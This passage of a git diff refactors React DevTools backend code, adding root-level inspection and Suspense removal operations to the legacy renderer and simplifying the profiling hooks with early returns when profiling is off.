-    pendingUnmountedIDs.push(id);
+    const isRoot = parentIDStack.length === 0;
+    if (isRoot) {
+      pendingUnmountedRootID = id;
+    } else {
+      pendingUnmountedIDs.push(id);
+    }
     idToInternalInstanceMap.delete(id);
   }
 
@@ -509,6 +533,8 @@ export function attach(
         // All unmounts are batched in a single message.
         // [TREE_OPERATION_REMOVE, removedIDLength, ...ids]
         (numUnmountIDs > 0 ? 2 + numUnmountIDs : 0) +
+        // [SUSPENSE_TREE_OPERATION_REMOVE, 1, pendingUnmountedRootID]
+        (pendingUnmountedRootID === null ? 0 : 3) +
         // Mount operations
         pendingOperations.length,
     );
@@ -545,6 +571,10 @@ export function attach(
       if (pendingUnmountedRootID !== null) {
         operations[i] = pendingUnmountedRootID;
         i++;
+
+        operations[i++] = SUSPENSE_TREE_OPERATION_REMOVE;
+        operations[i++] = 1;
+        operations[i++] = pendingUnmountedRootID;
       }
     }
 
@@ -750,6 +780,10 @@ export function attach(
       inspectedElement.state,
       createIsPathAllowed('state'),
     );
+    inspectedElement.suspendedBy = cleanForBridge(
+      inspectedElement.suspendedBy,
+      createIsPathAllowed('suspendedBy'),
+    );
 
     return {
       id,
@@ -766,7 +800,21 @@ export function attach(
       return null;
     }
 
-    const {displayName, key} = getData(internalInstance);
+    const rootID = internalInstanceToRootIDMap.get(internalInstance);
+    if (rootID === undefined) {
+      throw new Error('Expected to find root ID.');
+    }
+    const isRoot = rootID === id;
+    return isRoot
+      ? inspectRootsRaw(rootID)
+      : inspectInternalInstanceRaw(id, internalInstance);
+  }
+
+  function inspectInternalInstanceRaw(
+    id: number,
+    internalInstance: InternalInstance,
+  ): InspectedElement | null {
+    const {key} = getData(internalInstance);
     const type = getElementType(internalInstance);
 
     let context = null;
@@ -786,6 +834,8 @@ export function attach(
             displayName: getData(owner).displayName || 'Unknown',
             id: getID(owner),
             key: element.key,
+            env: null,
+            stack: null,
             type: getElementType(owner),
           });
           if (owner._currentElement) {
@@ -821,20 +871,18 @@ export function attach(
       // Toggle error boundary did not exist in legacy versions
       canToggleError: false,
       isErrored: false,
-      targetErrorBoundaryID: null,
 
       // Suspense did not exist in legacy versions
       canToggleSuspense: false,
+      isSuspended: null,
 
-      // Can view component source location.
-      canViewSource: type === ElementTypeClass || type === ElementTypeFunction,
       source: null,
 
+      stack: null,
+
       // Only legacy context exists in legacy versions.
       hasLegacyContext: true,
 
-      displayName: displayName,
-
       type: type,
 
       key: key != null ? key : null,
@@ -847,9 +895,16 @@ export function attach(
       errors,
       warnings,
 
+      // Not supported in legacy renderers.
+      suspendedBy: [],
+      suspendedByRange: null,
+      unknownSuspenders: UNKNOWN_SUSPENDERS_NONE,
+
       // List of owners
       owners,
 
+      env: null,
+
       rootType: null,
       rendererPackageName: null,
       rendererVersion: null,
@@ -857,7 +912,101 @@ export function attach(
       plugins: {
         stylex: null,
       },
+
+      nativeTag: null,
+    };
+  }
+
+  function inspectRootsRaw(arbitraryRootID: number): InspectedElement | null {
+    const roots =
+      renderer.Mount._instancesByReactRootID ||
+      renderer.Mount._instancesByContainerID;
+
+    const inspectedRoots: InspectedElement = {
+      // invariants
+      id: arbitraryRootID,
+      type: ElementTypeRoot,
+      // Properties we merge
+      isErrored: false,
+      errors: [],
+      warnings: [],
+      suspendedBy: [],
+      suspendedByRange: null,
+      // TODO: How to merge these?
+      unknownSuspenders: UNKNOWN_SUSPENDERS_NONE,
+      // Properties where merging doesn't make sense so we ignore them entirely in the UI
+      rootType: null,
+      plugins: {stylex: null},
+      nativeTag: null,
+      env: null,
+      source: null,
+      stack: null,
+      // TODO: We could make the Frontend accept an array to display
+      // a list of unique renderers contributing to this Screen.
+      rendererPackageName: null,
+      rendererVersion: null,
+      // These don't make sense for a Root. They're just bottom values.
+      key: null,
+      canEditFunctionProps: false,
+      canEditHooks: false,
+      canEditFunctionPropsDeletePaths: false,
+      canEditFunctionPropsRenamePaths: false,
+      canEditHooksAndDeletePaths: false,
+      canEditHooksAndRenamePaths: false,
+      canToggleError: false,
+      canToggleSuspense: false,
+      isSuspended: false,
+      hasLegacyContext: false,
+      context: null,
+      hooks: null,
+      props: null,
+      state: null,
+      owners: null,
     };
+
+    let minSuspendedByRange = Infinity;
+    let maxSuspendedByRange = -Infinity;
+
+    for (const rootKey in roots) {
+      const internalInstance = roots[rootKey];
+      const id = getID(internalInstance);
+      const inspectedRoot = inspectInternalInstanceRaw(id, internalInstance);
+
+      if (inspectedRoot === null) {
+        return null;
+      }
+
+      if (inspectedRoot.isErrored) {
+        inspectedRoots.isErrored = true;
+      }
+      for (let i = 0; i < inspectedRoot.errors.length; i++) {
+        inspectedRoots.errors.push(inspectedRoot.errors[i]);
+      }
+      for (let i = 0; i < inspectedRoot.warnings.length; i++) {
+        inspectedRoots.warnings.push(inspectedRoot.warnings[i]);
+      }
+      for (let i = 0; i < inspectedRoot.suspendedBy.length; i++) {
+        inspectedRoots.suspendedBy.push(inspectedRoot.suspendedBy[i]);
+      }
+      const suspendedByRange = inspectedRoot.suspendedByRange;
+      if (suspendedByRange !== null) {
+        if (suspendedByRange[0] < minSuspendedByRange) {
+          minSuspendedByRange = suspendedByRange[0];
+        }
+        if (suspendedByRange[1] > maxSuspendedByRange) {
+          maxSuspendedByRange = suspendedByRange[1];
+        }
+      }
+    }
+
+    if (minSuspendedByRange !== Infinity || maxSuspendedByRange !== -Infinity) {
+      inspectedRoots.suspendedByRange = [
+        minSuspendedByRange,
+        maxSuspendedByRange,
+      ];
+    }
+
+    return inspectedRoots;
   }
 
   function logElementToConsole(id: number): void {
@@ -867,10 +1016,12 @@ export function attach(
       return;
     }
 
+    const displayName = getDisplayNameForElementID(id);
+
     const supportsGroup = typeof console.groupCollapsed === 'function';
     if (supportsGroup) {
       console.groupCollapsed(
-        `[Click to expand] %c<${result.displayName || 'Component'} />`,
+        `[Click to expand] %c<${displayName || 'Component'} />`,
         // --dom-tag-name-color is the CSS variable Chrome styles HTML elements with in the console.
         'color: var(--dom-tag-name-color); font-weight: normal;',
       );
@@ -884,9 +1035,9 @@ export function attach(
     if (result.context !== null) {
       console.log('Context:', result.context);
     }
-    const nativeNode = findNativeNodeForInternalID(id);
-    if (nativeNode !== null) {
-      console.log('Node:', nativeNode);
+    const hostInstance = findHostInstanceForInternalID(id);
+    if (hostInstance !== null) {
+      console.log('Node:', hostInstance);
     }
     if (window.chrome || /firefox/i.test(navigator.userAgent)) {
       console.log(
@@ -898,30 +1049,31 @@ export function attach(
     }
   }
 
-  function prepareViewAttributeSource(
+  function getElementAttributeByPath(
     id: number,
     path: Array<string | number>,
-  ): void {
+  ): mixed {
     const inspectedElement = inspectElementRaw(id);
     if (inspectedElement !== null) {
-      window.$attribute = getInObject(inspectedElement, path);
+      return getInObject(inspectedElement, path);
     }
+    return undefined;
   }
 
-  function prepareViewElementSource(id: number): void {
+  function getElementSourceFunctionById(id: number): null | Function {
     const internalInstance = idToInternalInstanceMap.get(id);
     if (internalInstance == null) {
       console.warn(`Could not find instance with id "${id}"`);
-      return;
+      return null;
     }
 
     const element = internalInstance._currentElement;
     if (element == null) {
       console.warn(`Could not find element with id "${id}"`);
-      return;
+      return null;
     }
 
-    global.$type = element.type;
+    return element.type;
   }
 
   function deletePath(
@@ -1047,6 +1199,9 @@ export function attach(
   const overrideSuspense = () => {
     throw new Error('overrideSuspense not supported by this renderer');
   };
+  const overrideSuspenseMilestone = () => {
+    throw new Error('overrideSuspenseMilestone not supported by this renderer');
+  };
   const startProfiling = () => {
     // Do not throw, since this would break a multi-root scenario where v15 and v16 were both present.
   };
@@ -1068,6 +1223,11 @@ export function attach(
     // Not implemented.
   }
 
+  function getEnvironmentNames(): Array<string> {
+    // No RSC support.
+    return [];
+  }
+
   function setTraceUpdatesEnabled(enabled: boolean) {
     // Not implemented.
   }
@@ -1085,38 +1245,40 @@ export function attach(
     // Not implemented
   }
 
-  function clearErrorsForFiberID(id: number) {
+  function clearErrorsForElementID(id: number) {
     // Not implemented
   }
 
-  function clearWarningsForFiberID(id: number) {
+  function clearWarningsForElementID(id: number) {
     // Not implemented
   }
 
-  function patchConsoleForStrictMode() {}
-
-  function unpatchConsoleForStrictMode() {}
-
-  function hasFiberWithId(id: number): boolean {
+  function hasElementWithId(id: number): boolean {
     return idToInternalInstanceMap.has(id);
   }
 
   return {
     clearErrorsAndWarnings,
-    clearErrorsForFiberID,
-    clearWarningsForFiberID,
+    clearErrorsForElementID,
+    clearWarningsForElementID,
     cleanup,
     getSerializedElementValueByPath,
     deletePath,
     flushInitialOperations,
     getBestMatchForTrackedPath,
-    getDisplayNameForFiberID,
-    getFiberForNative,
-    getFiberIDForNative: getInternalIDForNative,
+    getDisplayNameForElementID,
+    getNearestMountedDOMNode,
+    getElementIDForHostInstance,
+    getSuspenseNodeIDForHostInstance(id: number): null {
+      return null;
+    },
     getInstanceAndStyle,
-    findNativeNodesForFiberID: (id: number) => {
-      const nativeNode = findNativeNodeForInternalID(id);
-      return nativeNode == null ? null : [nativeNode];
+    findHostInstancesForElementID: (id: number) => {
+      const hostInstance = findHostInstanceForInternalID(id);
+      return hostInstance == null ? null : [hostInstance];
+    },
+    findLastKnownRectsForID() {
+      return null;
     },
     getOwnersList,
     getPathForElement,
@@ -1124,23 +1286,24 @@ export function attach(
     handleCommitFiberRoot,
     handleCommitFiberUnmount,
     handlePostCommitFiberRoot,
-    hasFiberWithId,
+    hasElementWithId,
     inspectElement,
     logElementToConsole,
     overrideError,
     overrideSuspense,
+    overrideSuspenseMilestone,
     overrideValueAtPath,
     renamePath,
-    patchConsoleForStrictMode,
-    prepareViewAttributeSource,
-    prepareViewElementSource,
+    getElementAttributeByPath,
+    getElementSourceFunctionById,
     renderer,
     setTraceUpdatesEnabled,
     setTrackedPath,
     startProfiling,
     stopProfiling,
     storeAsGlobal,
-    unpatchConsoleForStrictMode,
+    supportsTogglingSuspense,
     updateComponentFilters,
+    getEnvironmentNames,
   };
 }
diff --git a/packages/react-devtools-shared/src/backend/profilingHooks.js b/packages/react-devtools-shared/src/backend/profilingHooks.js
index 17e6181abe97..a3feb1748801 100644
--- a/packages/react-devtools-shared/src/backend/profilingHooks.js
+++ b/packages/react-devtools-shared/src/backend/profilingHooks.js
@@ -35,7 +35,7 @@ import {
   REACT_TOTAL_NUM_LANES,
   SCHEDULING_PROFILER_VERSION,
 } from 'react-devtools-timeline/src/constants';
-import {describeFiber} from './DevToolsFiberComponentStack';
+import {describeFiber} from './fiber/DevToolsFiberComponentStack';
 
 // Add padding to the start/stop time of the profile.
 // This makes the UI nicer to use.
@@ -97,7 +97,10 @@ export function setPerformanceMock_ONLY_FOR_TESTING(
 }
 
 export type GetTimelineData = () => TimelineData | null;
-export type ToggleProfilingStatus = (value: boolean) => void;
+export type ToggleProfilingStatus = (
+  value: boolean,
+  recordTimeline?: boolean,
+) => void;
 
 type Response = {
   getTimelineData: GetTimelineData,
@@ -274,16 +277,20 @@ export function createProfilingHooks({
     }
 
     const top = currentReactMeasuresStack.pop();
+    // $FlowFixMe[incompatible-type]
+    // $FlowFixMe[incompatible-use]
     if (top.type !== type) {
       console.error(
         'Unexpected type "%s" completed at %sms before "%s" completed.',
         type,
         currentTime,
+        // $FlowFixMe[incompatible-use]
         top.type,
       );
     }
 
     // $FlowFixMe[cannot-write] This property should not be writable outside of this function.
+    // $FlowFixMe[incompatible-use]
     top.duration = currentTime - top.timestamp;
 
     if (currentTimelineData) {
@@ -292,14 +299,16 @@ export function createProfilingHooks({
   }
 
   function markCommitStarted(lanes: Lanes): void {
-    if (isProfiling) {
-      recordReactMeasureStarted('commit', lanes);
-
-      // TODO (timeline) Re-think this approach to "batching"; I don't think it works for Suspense or pre-rendering.
-      // This issue applies to the User Timing data also.
-      nextRenderShouldStartNewBatch = true;
+    if (!isProfiling) {
+      return;
     }
 
+    recordReactMeasureStarted('commit', lanes);
+
+    // TODO (timeline) Re-think this approach to "batching"; I don't think it works for Suspense or pre-rendering.
+    // This issue applies to the User Timing data also.
+    nextRenderShouldStartNewBatch = true;
+
     if (supportsUserTimingV3) {
       markAndClear(`--commit-start-${lanes}`);
 
@@ -312,54 +321,55 @@ export function createProfilingHooks({
   }
 
   function markCommitStopped(): void {
-    if (isProfiling) {
-      recordReactMeasureCompleted('commit');
-      recordReactMeasureCompleted('render-idle');
+    if (!isProfiling) {
+      return;
     }
 
+    recordReactMeasureCompleted('commit');
+    recordReactMeasureCompleted('render-idle');
     if (supportsUserTimingV3) {
       markAndClear('--commit-stop');
     }
   }
 
   function markComponentRenderStarted(fiber: Fiber): void {
-    if (isProfiling || supportsUserTimingV3) {
-      const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
+    if (!isProfiling) {
+      return;
+    }
 
-      if (isProfiling) {
-        // TODO (timeline) Record and cache component stack
-        if (isProfiling) {
-          currentReactComponentMeasure = {
-            componentName,
-            duration: 0,
-            timestamp: getRelativeTime(),
-            type: 'render',
-            warning: null,
-          };
-        }
-      }
+    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
 
-      if (supportsUserTimingV3) {
-        markAndClear(`--component-render-start-${componentName}`);
-      }
+    // TODO (timeline) Record and cache component stack
+    currentReactComponentMeasure = {
+      componentName,
+      duration: 0,
+      timestamp: getRelativeTime(),
+      type: 'render',
+      warning: null,
+    };
+
+    if (supportsUserTimingV3) {
+      markAndClear(`--component-render-start-${componentName}`);
     }
   }
 
   function markComponentRenderStopped(): void {
-    if (isProfiling) {
-      if (currentReactComponentMeasure) {
-        if (currentTimelineData) {
-          currentTimelineData.componentMeasures.push(
-            currentReactComponentMeasure,
-          );
-        }
+    if (!isProfiling) {
+      return;
+    }
 
-        // $FlowFixMe[incompatible-use] found when upgrading Flow
-        currentReactComponentMeasure.duration =
-          // $FlowFixMe[incompatible-use] found when upgrading Flow
-          getRelativeTime() - currentReactComponentMeasure.timestamp;
-        currentReactComponentMeasure = null;
+    if (currentReactComponentMeasure) {
+      if (currentTimelineData) {
+        currentTimelineData.componentMeasures.push(
+          currentReactComponentMeasure,
+        );
       }
+
+      // $FlowFixMe[incompatible-use] found when upgrading Flow
+      currentReactComponentMeasure.duration =
+        // $FlowFixMe[incompatible-use] found when upgrading Flow
+        getRelativeTime() - currentReactComponentMeasure.timestamp;
+      currentReactComponentMeasure = null;
     }
 
     if (supportsUserTimingV3) {
@@ -368,43 +378,43 @@ export function createProfilingHooks({
   }
 
   function markComponentLayoutEffectMountStarted(fiber: Fiber): void {
-    if (isProfiling || supportsUserTimingV3) {
-      const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
+    if (!isProfiling) {
+      return;
+    }
 
-      if (isProfiling) {
-        // TODO (timeline) Record and cache component stack
-        if (isProfiling) {
-          currentReactComponentMeasure = {
-            componentName,
-            duration: 0,
-            timestamp: getRelativeTime(),
-            type: 'layout-effect-mount',
-            warning: null,
-          };
-        }
-      }
+    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
 
-      if (supportsUserTimingV3) {
-        markAndClear(`--component-layout-effect-mount-start-${componentName}`);
-      }
+    // TODO (timeline) Record and cache component stack
+    currentReactComponentMeasure = {
+      componentName,
+      duration: 0,
+      timestamp: getRelativeTime(),
+      type: 'layout-effect-mount',
+      warning: null,
+    };
+
+    if (supportsUserTimingV3) {
+      markAndClear(`--component-layout-effect-mount-start-${componentName}`);
     }
   }
 
   function markComponentLayoutEffectMountStopped(): void {
-    if (isProfiling) {
-      if (currentReactComponentMeasure) {
-        if (currentTimelineData) {
-          currentTimelineData.componentMeasures.push(
-            currentReactComponentMeasure,
-          );
-        }
+    if (!isProfiling) {
+      return;
+    }
 
-        // $FlowFixMe[incompatible-use] found when upgrading Flow
-        currentReactComponentMeasure.duration =
-          // $FlowFixMe[incompatible-use] found when upgrading Flow
-          getRelativeTime() - currentReactComponentMeasure.timestamp;
-        currentReactComponentMeasure = null;
+    if (currentReactComponentMeasure) {
+      if (currentTimelineData) {
+        currentTimelineData.componentMeasures.push(
+          currentReactComponentMeasure,
+        );
       }
+
+      // $FlowFixMe[incompatible-use] found when upgrading Flow
+      currentReactComponentMeasure.duration =
+        // $FlowFixMe[incompatible-use] found when upgrading Flow
+        getRelativeTime() - currentReactComponentMeasure.timestamp;
+      currentReactComponentMeasure = null;
     }
 
     if (supportsUserTimingV3) {
@@ -413,45 +423,43 @@ export function createProfilingHooks({
   }
 
   function markComponentLayoutEffectUnmountStarted(fiber: Fiber): void {
-    if (isProfiling || supportsUserTimingV3) {
-      const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
+    if (!isProfiling) {
+      return;
+    }
 
-      if (isProfiling) {
-        // TODO (timeline) Record and cache component stack
-        if (isProfiling) {
-          currentReactComponentMeasure = {
-            componentName,
-            duration: 0,
-            timestamp: getRelativeTime(),
-            type: 'layout-effect-unmount',
-            warning: null,
-          };
-        }
-      }
+    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
 
-      if (supportsUserTimingV3) {
-        markAndClear(
-          `--component-layout-effect-unmount-start-${componentName}`,
-        );
-      }
+    // TODO (timeline) Record and cache component stack
+    currentReactComponentMeasure = {
+      componentName,
+      duration: 0,
+      timestamp: getRelativeTime(),
+      type: 'layout-effect-unmount',
+      warning: null,
+    };
+
+    if (supportsUserTimingV3) {
+      markAndClear(`--component-layout-effect-unmount-start-${componentName}`);
     }
   }
 
   function markComponentLayoutEffectUnmountStopped(): void {
-    if (isProfiling) {
-      if (currentReactComponentMeasure) {
-        if (currentTimelineData) {
-          currentTimelineData.componentMeasures.push(
-            currentReactComponentMeasure,
-          );
-        }
+    if (!isProfiling) {
+      return;
+    }
 
-        // $FlowFixMe[incompatible-use] found when upgrading Flow
-        currentReactComponentMeasure.duration =
-          // $FlowFixMe[incompatible-use] found when upgrading Flow
-          getRelativeTime() - currentReactComponentMeasure.timestamp;
-        currentReactComponentMeasure = null;
+    if (currentReactComponentMeasure) {
+      if (currentTimelineData) {
+        currentTimelineData.componentMeasures.push(
+          currentReactComponentMeasure,
+        );
       }
+
+      // $FlowFixMe[incompatible-use] found when upgrading Flow
+      currentReactComponentMeasure.duration =
+        // $FlowFixMe[incompatible-use] found when upgrading Flow
+        getRelativeTime() - currentReactComponentMeasure.timestamp;
+      currentReactComponentMeasure = null;
     }
 
     if (supportsUserTimingV3) {
@@ -460,43 +468,43 @@ export function createProfilingHooks({
   }
 
   function markComponentPassiveEffectMountStarted(fiber: Fiber): void {
-    if (isProfiling || supportsUserTimingV3) {
-      const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
+    if (!isProfiling) {
+      return;
+    }
 
-      if (isProfiling) {
-        // TODO (timeline) Record and cache component stack
-        if (isProfiling) {
-          currentReactComponentMeasure = {
-            componentName,
-            duration: 0,
-            timestamp: getRelativeTime(),
-            type: 'passive-effect-mount',
-            warning: null,
-          };
-        }
-      }
+    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
 
-      if (supportsUserTimingV3) {
-        markAndClear(`--component-passive-effect-mount-start-${componentName}`);
-      }
+    // TODO (timeline) Record and cache component stack
+    currentReactComponentMeasure = {
+      componentName,
+      duration: 0,
+      timestamp: getRelativeTime(),
+      type: 'passive-effect-mount',
+      warning: null,
+    };
+
+    if (supportsUserTimingV3) {
+      markAndClear(`--component-passive-effect-mount-start-${componentName}`);
     }
   }
 
   function markComponentPassiveEffectMountStopped(): void {
-    if (isProfiling) {
-      if (currentReactComponentMeasure) {
-        if (currentTimelineData) {
-          currentTimelineData.componentMeasures.push(
-            currentReactComponentMeasure,
-          );
-        }
+    if (!isProfiling) {
+      return;
+    }
 
-        // $FlowFixMe[incompatible-use] found when upgrading Flow
-        currentReactComponentMeasure.duration =
-          // $FlowFixMe[incompatible-use] found when upgrading Flow
-          getRelativeTime() - currentReactComponentMeasure.timestamp;
-        currentReactComponentMeasure = null;
+    if (currentReactComponentMeasure) {
+      if (currentTimelineData) {
+        currentTimelineData.componentMeasures.push(
+          currentReactComponentMeasure,
+        );
       }
+
+      // $FlowFixMe[incompatible-use] found when upgrading Flow
+      currentReactComponentMeasure.duration =
+        // $FlowFixMe[incompatible-use] found when upgrading Flow
+        getRelativeTime() - currentReactComponentMeasure.timestamp;
+      currentReactComponentMeasure = null;
     }
 
     if (supportsUserTimingV3) {
@@ -505,45 +513,43 @@ export function createProfilingHooks({
   }
 
   function markComponentPassiveEffectUnmountStarted(fiber: Fiber): void {
-    if (isProfiling || supportsUserTimingV3) {
-      const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
+    if (!isProfiling) {
+      return;
+    }
 
-      if (isProfiling) {
-        // TODO (timeline) Record and cache component stack
-        if (isProfiling) {
-          currentReactComponentMeasure = {
-            componentName,
-            duration: 0,
-            timestamp: getRelativeTime(),
-            type: 'passive-effect-unmount',
-            warning: null,
-          };
-        }
-      }
+    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
 
-      if (supportsUserTimingV3) {
-        markAndClear(
-          `--component-passive-effect-unmount-start-${componentName}`,
-        );
-      }
+    // TODO (timeline) Record and cache component stack
+    currentReactComponentMeasure = {
+      componentName,
+      duration: 0,
+      timestamp: getRelativeTime(),
+      type: 'passive-effect-unmount',
+      warning: null,
+    };
+
+    if (supportsUserTimingV3) {
+      markAndClear(`--component-passive-effect-unmount-start-${componentName}`);
     }
   }
 
   function markComponentPassiveEffectUnmountStopped(): void {
-    if (isProfiling) {
-      if (currentReactComponentMeasure) {
-        if (currentTimelineData) {
-          currentTimelineData.componentMeasures.push(
-            currentReactComponentMeasure,
-          );
-        }
+    if (!isProfiling) {
+      return;
+    }
 
-        // $FlowFixMe[incompatible-use] found when upgrading Flow
-        currentReactComponentMeasure.duration =
-          // $FlowFixMe[incompatible-use] found when upgrading Flow
-          getRelativeTime() - currentReactComponentMeasure.timestamp;
-        currentReactComponentMeasure = null;
+    if (currentReactComponentMeasure) {
+      if (currentTimelineData) {
+        currentTimelineData.componentMeasures.push(
+          currentReactComponentMeasure,
+        );
       }
+
+      // $FlowFixMe[incompatible-use] found when upgrading Flow
+      currentReactComponentMeasure.duration =
+        // $FlowFixMe[incompatible-use] found when upgrading Flow
+        getRelativeTime() - currentReactComponentMeasure.timestamp;
+      currentReactComponentMeasure = null;
     }
 
     if (supportsUserTimingV3) {
@@ -556,37 +562,37 @@ export function createProfilingHooks({
     thrownValue: mixed,
     lanes: Lanes,
   ): void {
-    if (isProfiling || supportsUserTimingV3) {
-      const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
-      const phase = fiber.alternate === null ? 'mount' : 'update';
-
-      let message = '';
-      if (
-        thrownValue !== null &&
-        typeof thrownValue === 'object' &&
-        typeof thrownValue.message === 'string'
-      ) {
-        message = thrownValue.message;
-      } else if (typeof thrownValue === 'string') {
-        message = thrownValue;
-      }
+    if (!isProfiling) {
+      return;
+    }
 
-      if (isProfiling) {
-        // TODO (timeline) Record and cache component stack
-        if (currentTimelineData) {
-          currentTimelineData.thrownErrors.push({
-            componentName,
-            message,
-            phase,
-            timestamp: getRelativeTime(),
-            type: 'thrown-error',
-          });
-        }
-      }
+    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
+    const phase = fiber.alternate === null ? 'mount' : 'update';
 
-      if (supportsUserTimingV3) {
-        markAndClear(`--error-${componentName}-${phase}-${message}`);
-      }
+    let message = '';
+    if (
+      thrownValue !== null &&
+      typeof thrownValue === 'object' &&
+      typeof thrownValue.message === 'string'
+    ) {
+      message = thrownValue.message;
+    } else if (typeof thrownValue === 'string') {
+      message = thrownValue;
+    }
+
+    // TODO (timeline) Record and cache component stack
+    if (currentTimelineData) {
+      currentTimelineData.thrownErrors.push({
+        componentName,
+        message,
+        phase,
+        timestamp: getRelativeTime(),
+        type: 'thrown-error',
+      });
+    }
+
+    if (supportsUserTimingV3) {
+      markAndClear(`--error-${componentName}-${phase}-${message}`);
     }
   }
 
@@ -607,44 +613,44 @@ export function createProfilingHooks({
     wakeable: Wakeable,
     lanes: Lanes,
   ): void {
-    if (isProfiling || supportsUserTimingV3) {
-      const eventType = wakeableIDs.has(wakeable) ? 'resuspend' : 'suspend';
-      const id = getWakeableID(wakeable);
-      const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
-      const phase = fiber.alternate === null ? 'mount' : 'update';
-
-      // Following the non-standard fn.displayName convention,
-      // frameworks like Relay may also annotate Promises with a displayName,
-      // describing what operation/data the thrown Promise is related to.
-      // When this is available we should pass it along to the Timeline.
-      const displayName = (wakeable: any).displayName || '';
-
-      let suspenseEvent: SuspenseEvent | null = null;
-      if (isProfiling) {
-        // TODO (timeline) Record and cache component stack
-        suspenseEvent = {
-          componentName,
-          depth: 0,
-          duration: 0,
-          id: `${id}`,
-          phase,
-          promiseName: displayName,
-          resolution: 'unresolved',
-          timestamp: getRelativeTime(),
-          type: 'suspense',
-          warning: null,
-        };
-
-        if (currentTimelineData) {
-          currentTimelineData.suspenseEvents.push(suspenseEvent);
-        }
-      }
+    if (!isProfiling) {
+      return;
+    }
 
-      if (supportsUserTimingV3) {
-        markAndClear(
-          `--suspense-${eventType}-${id}-${componentName}-${phase}-${lanes}-${displayName}`,
-        );
-      }
+    const eventType = wakeableIDs.has(wakeable) ? 'resuspend' : 'suspend';
+    const id = getWakeableID(wakeable);
+    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
+    const phase = fiber.alternate === null ? 'mount' : 'update';
+
+    // Following the non-standard fn.displayName convention,
+    // frameworks like Relay may also annotate Promises with a displayName,
+    // describing what operation/data the thrown Promise is related to.
+    // When this is available we should pass it along to the Timeline.
+    const displayName = (wakeable: any).displayName || '';
+
+    let suspenseEvent: SuspenseEvent | null = null;
+    // TODO (timeline) Record and cache component stack
+    suspenseEvent = {
+      componentName,
+      depth: 0,
+      duration: 0,
+      id: `${id}`,
+      phase,
+      promiseName: displayName,
+      resolution: 'unresolved',
+      timestamp: getRelativeTime(),
+      type: 'suspense',
+      warning: null,
+    };
+
+    if (currentTimelineData) {
+      currentTimelineData.suspenseEvents.push(suspenseEvent);
+    }
+
+    if (supportsUserTimingV3) {
+      markAndClear(
+        `--suspense-${eventType}-${id}-${componentName}-${phase}-${lanes}-${displayName}`,
+      );
 
       wakeable.then(
         () => {
@@ -674,100 +680,109 @@ export function createProfilingHooks({
   }
 
   function markLayoutEffectsStarted(lanes: Lanes): void {
-    if (isProfiling) {
-      recordReactMeasureStarted('layout-effects', lanes);
+    if (!isProfiling) {
+      return;
     }
 
+    recordReactMeasureStarted('layout-effects', lanes);
     if (supportsUserTimingV3) {
       markAndClear(`--layout-effects-start-${lanes}`);
     }
   }
 
   function markLayoutEffectsStopped(): void {
-    if (isProfiling) {
-      recordReactMeasureCompleted('layout-effects');
+    if (!isProfiling) {
+      return;
     }
 
+    recordReactMeasureCompleted('layout-effects');
     if (supportsUserTimingV3) {
       markAndClear('--layout-effects-stop');
     }
   }
 
   function markPassiveEffectsStarted(lanes: Lanes): void {
-    if (isProfiling) {
-      recordReactMeasureStarted('passive-effects', lanes);
+    if (!isProfiling) {
+      return;
     }
 
+    recordReactMeasureStarted('passive-effects', lanes);
     if (supportsUserTimingV3) {
       markAndClear(`--passive-effects-start-${lanes}`);
     }
   }
 
   function markPassiveEffectsStopped(): void {
-    if (isProfiling) {
-      recordReactMeasureCompleted('passive-effects');
+    if (!isProfiling) {
+      return;
     }
 
+    recordReactMeasureCompleted('passive-effects');
     if (supportsUserTimingV3) {
       markAndClear('--passive-effects-stop');
     }
   }
 
   function markRenderStarted(lanes: Lanes): void {
-    if (isProfiling) {
-      if (nextRenderShouldStartNewBatch) {
-        nextRenderShouldStartNewBatch = false;
-        currentBatchUID++;
-      }
+    if (!isProfiling) {
+      return;
+    }
 
-      // If this is a new batch of work, wrap an "idle" measure around it.
-      // Log it before the "render" measure to preserve the stack ordering.
-      if (
-        currentReactMeasuresStack.length === 0 ||
-        currentReactMeasuresStack[currentReactMeasuresStack.length - 1].type !==
-          'render-idle'
-      ) {
-        recordReactMeasureStarted('render-idle', lanes);
-      }
+    if (nextRenderShouldStartNewBatch) {
+      nextRenderShouldStartNewBatch = false;
+      currentBatchUID++;
+    }
 
-      recordReactMeasureStarted('render', lanes);
+    // If this is a new batch of work, wrap an "idle" measure around it.
+    // Log it before the "render" measure to preserve the stack ordering.
+    if (
+      currentReactMeasuresStack.length === 0 ||
+      currentReactMeasuresStack[currentReactMeasuresStack.length - 1].type !==
+        'render-idle'
+    ) {
+      recordReactMeasureStarted('render-idle', lanes);
     }
 
+    recordReactMeasureStarted('render', lanes);
     if (supportsUserTimingV3) {
       markAndClear(`--render-start-${lanes}`);
     }
   }
 
   function markRenderYielded(): void {
-    if (isProfiling) {
-      recordReactMeasureCompleted('render');
+    if (!isProfiling) {
+      return;
     }
 
+    recordReactMeasureCompleted('render');
     if (supportsUserTimingV3) {
       markAndClear('--render-yield');
     }
   }
 
   function markRenderStopped(): void {
-    if (isProfiling) {
-      recordReactMeasureCompleted('render');
+    if (!isProfiling) {
+      return;
     }
 
+    recordReactMeasureCompleted('render');
     if (supportsUserTimingV3) {
       markAndClear('--render-stop');
     }
   }
 
   function markRenderScheduled(lane: Lane): void {
-    if (isProfiling) {
-      if (currentTimelineData) {
-        currentTimelineData.schedulingEvents.push({
-          lanes: laneToLanesArray(lane),
-          timestamp: getRelativeTime(),
-          type: 'schedule-render',
-          warning: null,
-        });
-      }
+    if (!isProfiling) {
+      return;
+    }
+
+    if (currentTimelineData) {
+      currentTimelineData.schedulingEvents.push({
+        lanes: laneToLanesArray(lane),
+        timestamp: getRelativeTime(),
+        type: 'schedule-render',
+        warning: null,
+      });
     }
 
     if (supportsUserTimingV3) {
@@ -776,25 +791,25 @@ export function createProfilingHooks({
   }
 
   function markForceUpdateScheduled(fiber: Fiber, lane: Lane): void {
